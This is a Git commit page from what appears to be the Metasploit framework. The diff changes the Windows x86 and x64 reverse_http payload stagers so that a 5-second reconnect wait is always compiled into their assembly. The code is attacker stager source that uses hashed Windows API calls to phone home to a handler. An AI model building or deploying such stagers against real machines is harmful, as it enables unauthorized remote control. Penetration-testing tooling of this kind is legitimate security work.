Skip to content

Commit f715fee

Browse files
committed
The option StagerRetryWait will be used by default with the value of 5 seconds
1 parent 09442f2 commit f715fee

File tree

2 files changed

+17
-24
lines changed

2 files changed

+17
-24
lines changed

lib/msf/core/payload/windows/reverse_http.rb

Lines changed: 9 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -30,7 +30,7 @@ def initialize(*args)
3030
register_advanced_options([
3131
OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
3232
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails (zero to infinite retries)', 10]),
33-
OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts']),
33+
OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts', 5]),
3434
OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']),
3535
OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']),
3636
OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']),
@@ -160,7 +160,7 @@ def required_space
160160
def asm_reverse_http(opts={})
161161

162162
retry_count = opts[:retry_count].to_i
163-
retry_wait = opts[:retry_wait] ? (opts[:retry_wait].to_i * 1000) : nil
163+
retry_wait = opts[:retry_wait].to_i * 1000
164164
proxy_enabled = !!(opts[:proxy_host].to_s.strip.length > 0)
165165
proxy_info = ""
166166

@@ -359,18 +359,14 @@ def asm_reverse_http(opts={})
359359
push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" )
360360
call ebp
361361
test eax,eax
362-
jnz allocate_memory
362+
jnz allocate_memory
363+
364+
set_wait:
365+
push #{retry_wait} ; dwMilliseconds
366+
push 0xE035F044 ; hash( "kernel32.dll", "Sleep" )
367+
call ebp ; Sleep( dwMilliseconds );
363368
^
364-
365-
if retry_wait
366-
asm << %Q^
367-
set_wait:
368-
push #{retry_wait} ; dwMilliseconds
369-
push 0xE035F044 ; hash( "kernel32.dll", "Sleep" )
370-
call ebp ; Sleep( dwMilliseconds );
371-
^
372-
end
373-
369+
374370
if retry_count > 0
375371
asm << %Q^
376372
try_it_again:

lib/msf/core/payload/windows/x64/reverse_http.rb

Lines changed: 8 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -30,7 +30,7 @@ def initialize(*args)
3030
register_advanced_options([
3131
OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
3232
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails (zero to infinite retries)', 10]),
33-
OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts']),
33+
OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts', 5]),
3434
OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']),
3535
OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']),
3636
OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']),
@@ -159,7 +159,7 @@ def required_space
159159
def asm_reverse_http(opts={})
160160

161161
retry_count = opts[:retry_count].to_i
162-
retry_wait = opts[:retry_wait] ? (opts[:retry_wait].to_i * 1000) : nil
162+
retry_wait = opts[:retry_wait].to_i * 1000
163163
proxy_enabled = !!(opts[:proxy_host].to_s.strip.length > 0)
164164
proxy_info = ""
165165

@@ -366,16 +366,13 @@ def asm_reverse_http(opts={})
366366
call rbp
367367
test eax, eax
368368
jnz allocate_memory
369+
370+
set_wait:
371+
mov rcx, #{retry_wait} ; dwMilliseconds
372+
mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')}
373+
call rbp ; Sleep( dwMilliseconds );
369374
^
370-
371-
if retry_wait
372-
asm << %Q^
373-
set_wait:
374-
mov rcx, #{retry_wait} ; dwMilliseconds
375-
mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')}
376-
call rbp ; Sleep( dwMilliseconds );
377-
^
378-
end
375+
379376

380377
if retry_count > 0
381378
asm << %Q^

0 commit comments

Comments
 (0)